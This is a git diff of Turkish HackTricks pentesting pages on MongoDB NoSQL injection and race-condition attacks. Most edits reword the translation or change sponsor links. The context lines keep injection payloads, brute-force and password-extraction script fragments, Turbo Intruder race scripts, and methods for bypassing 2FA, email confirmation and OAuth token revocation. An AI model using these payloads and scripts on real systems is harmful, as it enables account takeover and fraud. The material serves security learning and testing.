**NOT:** `$lookup` ve diğer birleştirme işlevleri, aramanın daha yaygın olan `find()` veya `findOne()` işlevleri yerine kullanıldığında yalnızca kullanılabilir.
```json
[
{
@ -130,14 +130,14 @@ Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.co
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
## MongoDB Yükleri
## MongoDB Payloads
Liste [buradan](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
[Liste için buraya bakın](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
@ -203,7 +203,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### POST loginından kullanıcı adlarını ve şifreleri kaba kuvvet saldırısıyla deneyin
### POST loginından kullanıcı adlarını ve şifreleri kaba kuvvet yöntemiyle deneyin
Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir.
```python
@ -265,8 +265,8 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -274,7 +274,7 @@ HackTricks'ı desteklemenin diğer yolları:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}

View file

@ -3,10 +3,10 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Edinin:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
<details>
@ -28,39 +28,39 @@ Bu teknik hakkında derinlemesine anlayış elde etmek için orijinal rapora [ht
## Yarış Koşulu Saldırılarını Geliştirme
Yarış koşullarından faydalanmanın ana engeli, birden fazla isteğin aynı anda işlenmesini sağlamaktır, **işleme süreleri arasında çok az fark olmalıdır - ideal olarak 1 ms'den az**.
Yarış koşullarından faydalanmanın ana engeli, birden fazla isteğin aynı anda işlenmesinin, **işleme sürelerinde çok az fark olması gerektiğinden emin olmaktır - ideal olarak, 1 ms'den az**.
İşte Senkronize İstekler için bazı teknikler:
#### HTTP/2 Tek Paket Saldırısı vs. HTTP/1.1 Son-Byte Senkronizasyonu
* **HTTP/2**: Bir TCP bağlantısı üzerinden iki isteği göndermeyi destekler, ağ titremesi etkisini azaltır. Ancak sunucu tarafındaki değişiklikler nedeniyle iki istek, tutarlı bir yarış koşulu sömürüsü için yeterli olmayabilir.
* **HTTP/1.1 'Son-Byte Senkronizasyonu'**: 20-30 isteğin çoğu kısmını önceden göndermeyi sağlar, küçük bir parçayı tutarak, ardından birlikte gönderilerek sunucuya aynı anda varış sağlanır.
* **HTTP/2**: İki isteği tek bir TCP bağlantısı üzerinden göndermeyi destekler, ağ titremesi etkisini azaltır. Ancak, sunucu tarafındaki değişiklikler nedeniyle iki istek, tutarlı bir yarış koşulu sömürüsü için yeterli olmayabilir.
* **HTTP/1.1 'Son-Byte Senkronizasyonu'**: 20-30 isteğin çoğu kısmını önceden göndermeyi sağlar, küçük bir parçayı tutarak, bu parça daha sonra birlikte gönderilerek sunucuya aynı anda varış sağlanır.
**Son-Byte Senkronizasyonu için Hazırlık** şunları içerir:
1. Akışı sonlandırmadan başlık ve gövde verilerini son bayt hariç gönderme.
2. İlk gönderimden sonra 100 ms beklemek.
3. Son çerçeveleri toplu olarak göndermek için TCP\_NODELAY'i devre dışı bırakma.
3. Son çerçeveleri toplu olarak göndermek için Nagle algoritmasını kullanmak için TCP\_NODELAY'i devre dışı bırakma.
4. Bağlantıyı ısıtmak için ping gönderme.
Tutulan çerçevelerin sonraki gönderimi, Wireshark üzerinden tek bir pakette varışlarını sağlamalıdır. Bu yöntem genellikle RC saldırılarıyla ilişkilendirilmeyen statik dosyalara uygulanmaz.
Tutulan çerçevelerin sonradan gönderilmesi, Wireshark aracılığıyla tek bir pakette varışlarını sağlamalıdır. Bu yöntem genellikle RC saldırılarıyla ilişkilendirilmeyen statik dosyalara uygulanmaz.
### Sunucu Mimarisiyle Uyum Sağlama
Hedefin mimarisini anlamak önemlidir. Ön uç sunucuları istekleri farklı yönlendirebilir ve zamanlamayı etkileyebilir. Önleyici sunucu tarafı bağlantı ısınması, önemsiz istekler aracılığıyla istek zamanlamasını normalize edebilir.
Hedefin mimarisini anlamak önemlidir. Ön uç sunucuları istekleri farklı yönlendirebilir ve zamanlamayı etkileyebilir. Önleyici sunucu tarafı bağlantı ısınması, önemsiz istekler aracılığıyla, istek zamanlamasını normalize edebilir.
#### Oturum Tabanlı Kilitlenmeyi Ele Alma
#### Oturum Tabanlı Kilitlenme ile Başa Çıkma
PHP'nin oturum işleyicisi gibi çerçeveler, istekleri oturum bazında seri hale getirebilir ve potansiyel olarak güvenlik açıklarını gizleyebilir. Her istek için farklı oturum belirteçleri kullanmak, bu sorunu atlatmanıza yardımcı olabilir.
PHP'nin oturum işleyicisi gibi çerçeveler, istekleri oturum bazında seri hale getirebilir ve potansiyel olarak güvenlik açıklarını gizleyebilir. Her istek için farklı oturum belirteçleri kullanmak, bu sorunu atlatmaya yardımcı olabilir.
#### Hız veya Kaynak Sınırlarını Aşma
Bağlantı ısınması etkisizse, web sunucularının hız veya kaynak sınırlarını kasıtlı olarak tetikleyerek, sunucu tarafında yarış koşullarına uygun gecikmeyi sağlayan tek paket saldırısını kolaylaştırabilirsiniz.
Bağlantı ısınması etkisizse, web sunucularının hız veya kaynak sınırlarını kasıtlı olarak tetikleyerek, sunucu tarafında yarış koşullarına uygun gecikmeyi sağlayan tek paket saldırısını kolaylaştırabilir.
## Saldırı Örnekleri
* **Tubo Intruder - HTTP2 tek paket saldırısı (1 uç nokta)**: İsteği **Turbo intruder**'a gönderebilirsiniz (`Uzantılar` -> `Turbo Intruder` -> `Turbo Intruder'a Gönder`), istekte **`%s`** için kaba kuvvet uygulamak istediğiniz değeri değiştirebilirsiniz, örneğin `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` ve ardından açılır menüden **`examples/race-single-packer-attack.py`**'yi seçebilirsiniz:
* **Tubo Intruder - HTTP2 tek paket saldırısı (1 uç nokta)**: İsteği **Turbo intruder**'a gönderebilirsiniz (`Uzantılar` -> `Turbo Intruder` -> `Turbo Intruder'a Gönder`), istekte **`%s`** için kaba kuvvet yapmak istediğiniz değeri değiştirebilirsiniz, örneğin `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` ve ardından açılır menüden **`examples/race-single-packer-attack.py`**'yi seçebilirsiniz:
<figure><img src="../.gitbook/assets/image (57).png" alt=""><figcaption></figcaption></figure>
@ -74,7 +74,7 @@ engine.queue(target.req, password, gate='race1')
Eğer web HTTP2'yi desteklemiyorsa (yalnızca HTTP1.1), `Engine.BURP2` yerine `Engine.THREADED` veya `Engine.BURP` kullanın.
{% endhint %}
* **Tubo Intruder - HTTP2 tek paket saldırısı (Çeşitli uç noktalar)**: RCE'yi tetiklemek için bir uç noktaya bir istek göndermeniz ve ardından diğer uç noktalara birden fazla istek göndermeniz gerektiğinde, `race-single-packet-attack.py` betiğini aşağıdaki gibi değiştirebilirsiniz:
* **Tubo Intruder - HTTP2 tek paket saldırısı (Birden fazla uç nokta)**: RCE'yi tetiklemek için bir uç noktaya bir istek göndermeniz ve ardından diğer uç noktalara birden fazla istek göndermeniz gerektiğinde, `race-single-packet-attack.py` betiğini aşağıdaki gibi değiştirebilirsiniz:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -106,15 +106,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
engine.openGate(currentAttempt)
```
* **Yineleyici** üzerinden de Burp Suite'deki yeni '**Grubu paralel olarak gönder**' seçeneği ile kullanılabilir.
* **Sınırımı** için grup içine **aynı isteği 50 kez ekleyebilirsiniz**.
* **Bağlantı ısınması** için web sunucusunun statik olmayan bir kısmına bazı **istekler** ekleyebilirsiniz.
* **Bir isteğin işlenmesi ile diğerinin arasındaki işlemi geciktirmek** için 2 alt durum adımında, her iki isteğin arasına **ek istekler ekleyebilirsiniz**.
* **Çoklu uç noktalı** bir RC için, **gizli duruma giden isteği** göndermeye başlayabilir ve ardından hemen ardından **gizli durumu sömüren 50 istek** gönderebilirsiniz.
* **Limitımı** için grup içine **aynı isteği 50 kez ekleyebilirsiniz**.
* **Bağlantı ısınması** için, web sunucusunun statik olmayan bir kısmına bazı **istekler** ekleyebilirsiniz, bunları grup **başına ekleyebilirsiniz**.
* Bir isteği işleme ve diğerine geçme sürecini **geciktirmek** için, 2 alt durum adımı arasına **ek istekler ekleyebilirsiniz**.
* **Çoklu uçlu** bir RC için, **gizli duruma giden isteği** göndermeye başlayabilir ve ardından hemen ardından **gizli durumu sömüren 50 istek** gönderebilirsiniz.
<figure><img src="../.gitbook/assets/image (58).png" alt=""><figcaption></figcaption></figure>
* **Otomatik python betiği**: Bu betiğin amacı, bir kullanıcının e-posta adresini değiştirmek ve yeni e-posta adresinin doğrulama belirteci eski e-postaya gelene kadar sürekli doğrulamak (çünkü kodda, e-postayı değiştirmenin mümkün olduğu ancak e-postayı değiştiren değişkenin zaten ilk e-postayla doldurulduğu bir RC görüldü).\
Alınan e-postalarda "objetivo" kelimesi bulunduğunda, değiştirilen e-postanın doğrulama belirtecini aldığımızı biliriz ve saldırıyı sonlandırırız.
* **Otomatik python betiği**: Bu betiğin amacı, bir kullanıcının e-posta adresini değiştirirken sürekli olarak doğrulamasını yapmaktır, yeni e-posta adresinin doğrulama belirteci eski e-postaya gelene kadar (çünkü kodda, e-postayı değiştirmenin mümkün olduğu ancak e-posta adresini belirten değişkenin zaten ilk e-postayla doldurulduğu bir RC görüldü).\
Alınan e-postalarda "objetivo" kelimesi bulunduğunda, değiştirilen e-postanın doğrulama belirteci alındığını biliriz ve saldırıyı sonlandırırız.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@ -244,10 +244,10 @@ response = requests.get(url, verify=False)
```
### Ham BF
Önceki araştırmadan önce, bir YC oluşturmak için mümkün olduğunca hızlı paket göndermeye çalışan bazı kullanılan yükler şunlardı.
Önceki araştırmadan önce, bir RC oluşturmak için mümkün olduğunca hızlı paket göndermeye çalışan bazı kullanılan yükler şunlardı.
- **Tekrarlayıcı:** Önceki bölümden örnekleri kontrol edin.
- **Sızdıran:** **İstek**i **Sızdıran**a gönderin, **İşlem menüsü içindeki iş parçacığı sayısını 30** olarak ayarlayın, yük olarak **Boş yükler**i seçin ve **30** oluşturun.
- **Sızdıran:** **İsteği** **Sızdıran**'a gönderin, **İsteğin sayısını** **30** olarak ayarlayın **Seçenekler menüsü içinde,** **Boş yükler** olarak seçin ve **30** oluşturun.
- **Turbo Sızdıran**
```python
def queueRequests(target, wordlists):
@ -299,71 +299,71 @@ asyncio.run(main())
### Limit aşımı / TOCTOU
Bu, bir eylemi gerçekleştirebileceğiniz sayıyı sınırlayan yerlerde ortaya çıkan **zayıflıkların** en temel türüdür. Örneğin, bir web mağazasında aynı indirim kodunu birkaç kez kullanmak gibi. Çok basit bir örnek [**bu raporda**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) veya [**bu hata raporunda**](https://hackerone.com/reports/759247) bulunabilir.
Bu, bir eylemi gerçekleştirebileceğiniz sayıyı sınırlayan yerlerde ortaya çıkan **zayıflıkların** en temel türüdür. Örneğin, bir web mağazasında aynı indirim kodunu birkaç kez kullanmak gibi. Çok basit bir örnek [**bu raporda**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) veya [**bu hata**](https://hackerone.com/reports/759247) bulunabilir.
Bu tür saldırıların birçok varyasyonu vardır, bunlar arasında:
* Bir hediye kartını birden fazla kez kullanmak
* Bir ürünü birden fazla kez derecelendirmek
* Hesap bakiyenizi aşan miktarda para çekmek veya transfer etmek
* Tek bir CAPTCHA çözümünü tekrar kullanmak
* Bir anti-brute-force hız sınırını atlamak
* Hesap bakiyenizi aşan miktarda para çekme veya transfer etme
* Tek bir CAPTCHA çözümünü tekrar kullanma
* Bir anti-brute-force hız sınırını aşma
### **Gizli alt durumlar**
Karmaşık yarış koşullarını sömürmek genellikle gizli veya **istenmeyen makine alt durumlarıyla** etkileşim fırsatlarını değerlendirmeyi içerir. İşte bu konuya nasıl yaklaşılacağı:
Karmaşık yarış koşullarını sömürmek genellikle gizli veya **istenmeyen makine alt durumlarıyla** etkileşim fırsatlarını değerlendirmeyi gerektirir. İşte bu konuya nasıl yaklaşılacağı:
1. **Potansiyel Gizli Alt Durumları Tanımlayın**
* Kullanıcı profilleri veya şifre sıfırlama süreçleri gibi kritik verileri değiştiren veya etkileşime giren uç noktaları belirleyerek başlayın. Odaklanılacak noktalar:
* Kritik verileri değiştiren veya etkileşime giren uç noktaları belirleyerek başlayın, örneğin kullanıcı profilleri veya şifre sıfırlama süreçleri. Odaklanılacak noktalar:
* **Depolama**: Sunucu tarafında kalıcı verileri işleyen uç noktaları, istemci tarafında veri işleyenlere göre tercih edin.
* **Eylem**: Var olan verileri değiştiren işlemleri arayın, yeni veri ekleyenlere göre sömürülebilir koşullar yaratma olasılığı daha yüksektir.
* **Anahtarlama**: Başarılı saldırılar genellikle aynı tanımlayıcıya dayalı işlemleri içerir, örneğin, kullanıcı adı veya sıfırlama belirteci.
* **Anahtarlama**: Başarılı saldırılar genellikle aynı tanımlayıcıya dayalı işlemleri içerir, örneğin kullanıcı adı veya sıfırlama belirteci.
2. **İlk Sondajı Yapın**
* Belirlenen uç noktaları yarış koşulu saldırılarıyla test ederek beklenen sonuçlardan herhangi bir sapma olup olmadığını gözlemleyin. Beklenmeyen yanıtlar veya uygulama davranışındaki değişiklikler bir zayıflığı işaret edebilir.
3. **Zafiyeti Gösterin**
* Zafiyeti sömürmek için genellikle sadece iki isteğin gerektiği minimum sayıya indirin. Bu adım, hassas zamanlama nedeniyle birden fazla deneme veya otomasyon gerektirebilir.
3. **Zayıflığı Gösterin**
* Saldırıyı, genellikle sadece iki isteğin gerektiği zayıflığı sömürmek için en az sayıda isteğe daraltın. Bu adım, hassas zamanlama nedeniyle birden fazla deneme veya otomasyon gerektirebilir.
### Zaman Hassas Saldırılar
İsteklerdeki zamanlama hassasiyeti, özellikle güvenlik belirteçleri için zaman damgalarının kullanıldığı tahmin edilebilir yöntemlerin kullanıldığı durumlarda zayıflıkları ortaya çıkarabilir. Örneğin, zaman damgalarına dayalı şifre sıfırlama belirteçleri oluşturmak, aynı anda yapılan istekler için benzer belirteçlere izin verebilir.
İsteklerdeki zamanlama hassasiyeti, özellikle güvenlik belirteçleri için zaman damgalarının kullanıldığı durumlarda zayıflıkları ortaya çıkarabilir. Örneğin, zaman damgalarına dayalı şifre sıfırlama belirteçleri oluşturmak, aynı belirteçlerin eşzamanlı istekler için kullanılmasına izin verebilir.
**Sömürmek İçin:**
* Aynı anda iki şifre sıfırlama belirteci isteği yapmak için hassas zamanlama kullanın. Benzer belirteçler zayıflığı işaret eder.
* Eşzamanlı şifre sıfırlama istekleri yapmak için tek paket saldırısı gibi hassas zamanlama kullanın. Eşleşen belirteçler bir zayıflığı gösterebilir.
**Örnek:**
* Aynı anda iki şifre sıfırlama belirteci isteği yapın ve bunları karşılaştırın. Eşleşen belirteçler, belirteç oluşturmada bir hata olduğunu gösterebilir.
* Aynı anda iki şifre sıfırlama belirteci isteyin ve bunları karşılaştırın. Eşleşen belirteçler, belirteç oluşturmada bir hata olduğunu gösterebilir.
**Bunu denemek için** [**PortSwigger Lab'ı**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **ziyaret edin.**
**Bunu denemek için** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **sayfasına bakın.**
## Gizli alt durumlar vaka çalışmaları
### Ödeme yap ve bir Öğe ekle
**Bu [PortSwigger Lab'ı](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) kontrol edin** ve bir mağazada **ödeme yapın** ve **ücretsiz alabileceğiniz ek bir** öğe **ekleyin**.
**Ödeme** yapın ve **ödemeniz gerekmeyen** ek bir öğe **ekleyin** nasıl yapılacağını görmek için bu [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) sayfasına bakın.
### Diğer e-postaları onayla
Fikir, **aynı anda bir e-posta adresini doğrulamak ve farklı bir e-posta adresine değiştirmek** ve platformun yeni değiştirileni doğrulayıp doğrulamadığını bulmaktır.
Fikir, **bir e-posta adresini doğrulamak ve aynı anda farklı bir adrese değiştirmek** ve platformun yeni değiştirileni doğrulayıp doğrulamadığını bulmaktır.
### 2 e-posta adresine e-posta değiştirme Çerez tabanlı
[**Bu araştırmaya**](https://portswigger.net/research/smashing-the-state-machine) göre Gitlab, bir e-posta adresinin doğrulama belirtecinin diğer e-postaya **gönderilebileceği** bu şekilde ele geçirilebilir.
[**Bu araştırmaya**](https://portswigger.net/research/smashing-the-state-machine) göre Gitlab, bir e-postanın doğrulama belirtecinin diğer e-postaya **gönderilebileceği** için bu şekilde ele geçirilebilir.
**Bunu denemek için** [**PortSwigger Lab'ı**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **ziyaret edin.**
Bunu denemek için [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **sayfasına bakın.**
### Gizli Veritabanı durumları / Onayı Atlatma
Eğer bir veritabanına **bilgi eklemek** için **2 farklı yazma işlemi** kullanılıyorsa, **sadece ilk verinin veritabanına yazıldığı küçük bir zaman dilimi** oluşur. Örneğin, bir kullanıcı oluşturulurken **kullanıcı adı** ve **şifre** yazılabilir ve ardından yeni oluşturulan hesabı onaylamak için **belirteç** yazılabilir. Bu, bir hesabın onaylanması için **belirtecin bir süre boş** olabileceği anlamına gelir.
Eğer bir veritabanına **bilgi eklemek** için **2 farklı yazma işlemi** kullanılıyorsa, **sadece ilk verinin** veritabanına yazıldığı küçük bir zaman dilimi oluşur. Örneğin, bir kullanıcı oluşturulurken **kullanıcı adı** ve **şifre** yazılabilir ve ardından yeni oluşturulan hesabı onaylamak için **belirteç** yazılabilir. Bu, bir hesabın onaylanması için **belirtecin bir süre null** olabileceği anlamına gelir.
Bu nedenle, **bir hesap kaydı oluşturun ve hemen hesabı onaylamak için boş bir belirteçle (`token=` veya `token[]=` veya başka bir varyasyon) birkaç istek göndermek**, kontrol etmediğiniz bir e-postayı **onaylamaya** izin verebilir.
Bu nedenle, bir hesap kaydı oluşturmak ve hemen hesabı onaylamak için boş bir belirteç (`token=` veya `token[]=` veya başka bir varyasyon) ile birkaç istek göndermek, kontrol etmediğiniz bir e-postayı **onaylamaya** olanak tanıyabilir.
**Bunu denemek için** [**PortSwigger Lab'ı**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **ziyaret edin.**
Bunu denemek için [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **sayfasına bakın.**
### 2FA'yı Atlatma
Aşağıdaki sözdizimi kodu, **2FA'nın zorunlu olmadığı** bir süreçte **oturum oluşturulurken** yarış koşuluna açık olduğundan:
Aşağıdaki sözdizimi kodu, oturum oluşturulurken **çok kısa bir süre 2FA'nın uygulanmadığı** için yarış koşuluna karşı savunmasızdır:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -373,20 +373,20 @@ session['enforce_mfa'] = True
```
### OAuth2 sonsuz kalıcılık
Birkaç [**OAuth sağlayıcı**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers) bulunmaktadır. Bu hizmetler, bir uygulama oluşturmanıza ve sağlayıcının kaydettiği kullanıcıları doğrulamanıza izin verecektir. Bunun için **istemci**, uygulamanızın sağlayıcının içindeki bazı verilere erişmesine izin vermesi gerekecektir.\
Yani, şimdiye kadar sadece google/linkedin/github... ile ortak bir girişte olduğunuz yerde, "_Uygulama \<InsertCoolName>, bilgilerinize erişmek istiyor, izin vermek istiyor musunuz?_" diyen bir sayıyla karşılaşırsınız.
Birkaç [**OAuth sağlayıcısı**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers) bulunmaktadır. Bu hizmetler, bir uygulama oluşturmanıza ve sağlayıcının kaydettiği kullanıcıları doğrulamanıza izin verecektir. Bunun için **istemci**, **uygulamanıza erişim izni vermek** için bazı verilerine erişmenize izin verecektir.\
Yani, şu ana kadar sadece google/linkedin/github... ile yapılan ortak bir giriş işlemi, "_Uygulama \<InsertCoolName>, bilgilerinize erişmek istiyor, izin vermek istiyor musunuz?_" şeklinde bir sayfayla karşılaşırsınız.
#### `authorization_code` içinde Yarış Koşulu
**Sorun**, bunu **kabul ettiğinizde** ve kötü niyetli uygulamaya otomatik olarak bir **`authorization_code`** gönderildiğinde ortaya çıkar. Ardından, bu **uygulama, `authorization_code` içindeki bir Yarış Koşulunu kötüye kullanarak AT/RT** (_Kimlik Doğrulama Jetonu/Yenileme Jetonu_) için hesabınızdan daha fazlasını oluşturur. Temelde, uygulamanın verilerinize erişmesine izin verdiğinizi kötüye kullanarak **birkaç hesap oluşturacaktır**. Sonra, eğer **uygulamanın verilerinize erişmesine izni vermeyi durdurursanız bir AT/RT çifti silinecek, ancak diğerleri hala geçerli olacaktır**.
**Sorun**, bunu **kabul ettiğinizde** ve kötü niyetli uygulamaya otomatik olarak bir **`authorization_code`** gönderildiğinde ortaya çıkar. Ardından, bu **uygulama, `authorization_code` içindeki Yarış Koşulunu kötüye kullanarak AT/RT** (_Kimlik Doğrulama Belirteci/Yenileme Belirteci_) için hesabınızdan daha fazlasını oluşturmak için **OAuth hizmet sağlayıcısında bir Yarış Koşulunu kötüye kullanır**. Temelde, uygulamanın verilerinize erişim izni verdiğinizi kötüye kullanarak **birkaç hesap oluşturacaktır**. Sonra, eğer **uygulamanın verilerinize erişim iznini kaldırırsanız bir AT/RT çifti silinecek, ancak diğerleri hala geçerli olacaktır**.
#### `Refresh Token` içinde Yarış Koşulu
Geçerli bir RT aldıktan sonra, **birkaç AT/RT oluşturmak için bunu kötüye kullanabilirsiniz** ve **kullanıcı kötü niyetli uygulamanın verilerine erişim izinlerini iptal etse bile, birkaç RT hala geçerli olacaktır**.
Geçerli bir RT aldıktan sonra, bunu **çeşitli AT/RT oluşturmak için kötüye kullanabilirsiniz** ve **kullanıcı kötü niyetli uygulamanın verilerine erişim iznini iptal etse bile**, **birkaç RT hala geçerli olacaktır**.
## **WebSockets'te Yarış Koşulu**
[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) içinde, **WebSockets'te de Yarış Koşullarını kötüye kullanmak için paralel olarak websocket mesajları göndermek için bir Java PoC** bulabilirsiniz.
[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) içinde, **WebSockets'te de Yarış Koşullarını kötüye kullanmak için Java'da bir PoC** bulabilirsiniz.
## Referanslar
@ -402,18 +402,18 @@ Geçerli bir RT aldıktan sonra, **birkaç AT/RT oluşturmak için bunu kötüye
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek katkıda bulunun.
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destekleyin.**
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition)'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

View file

@ -3,21 +3,21 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}
<details>
